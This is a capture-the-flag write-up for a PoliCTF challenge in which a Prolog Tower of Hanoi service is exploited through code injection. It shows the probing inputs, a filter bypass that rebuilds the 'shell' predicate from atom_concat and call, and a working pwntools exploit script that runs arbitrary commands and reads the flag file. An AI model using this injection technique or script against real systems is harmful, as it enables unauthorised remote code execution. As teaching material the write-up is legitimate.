Remote prolog application to solve the Tower of Hanoi problem is vulnerable to remote code execution by injecting Prolog code.
Challenge Description
Points
50
Description
Check out our shiny new HaaS platform!
nc haas.polictf.it 80
Solution
Let’s investigate what this service does:
$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
3
* Move top disk from a to b
* Move top disk from a to c
* Move top disk from b to c
* Move top disk from a to b
* Move top disk from c to a
* Move top disk from c to b
* Move top disk from a to b
Looks like it’s a prgoram to solve the Tower of Hanoi problem. Let’s explore further and see if we can introduce an error:
$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
')
ERROR: Prolog initialisation failed:
ERROR: Syntax error: End of file in quoted string
ERROR: hanoi('))
ERROR: ** here **
ERROR:
So it looks like we’re dealing with a Prolog application and that the statement
is in the form: hanoi(<user_input>)
. Great! It’s injectable! Let’s try spawning
a shell with some Prolog system interaction features!
$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
), shell('id'). %
Nope.
$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
), shell('id'). %
Nice try...
Okay, there’s some input validation there. So let’s work some Prolog magic by
splitting up the ‘shell’. Now, Prolog isn’t like your normal programming
language and it works on the concepts more familiar to a Scheme/Lisp programmer.
We can use three predicates: call
, atom_concat
and atom_to_term
to bypass the
validation and execute our arbitrary command.
$ nc haas.polictf.it 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
1),atom_concat('sh','ell',Atom), atom_to_term(Atom, Term, []), call(Term, 'id').%
* Move top disk from a to b
uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)
Now all we have to do is write our exploit:
from pwn import *
import sys
command = sys.argv[1] or ""
exp_string = "1),atom_concat('sh','ell', Atom), atom_to_term(Atom, Term, []), call(Term, '%s').%%" % command
r = remote("haas.polictf.it", 80)
r.sendline(exp_string)
print r.recvall()
Explore the file system, and extract our flag!
$ python exploit.py "cat /home/ctf/haas/jhknsjdfhef_flag_here"
[+] Opening connection to haas.polictf.it on port 80: Done
[+] Recieving all data: Done (150B)
[*] Closed connection to haas.polictf.it port 80
Welcome to the Hanoi-as-a-Service cloud platform!
How many disks does your tower have?
* Move top disk from a to b
flag{Pr0gramm1ng_in_l0g1c_1s_c00l}
Flag: flag{Pr0gramm1ng_in_l0g1c_1s_c00l}
Leave a Comment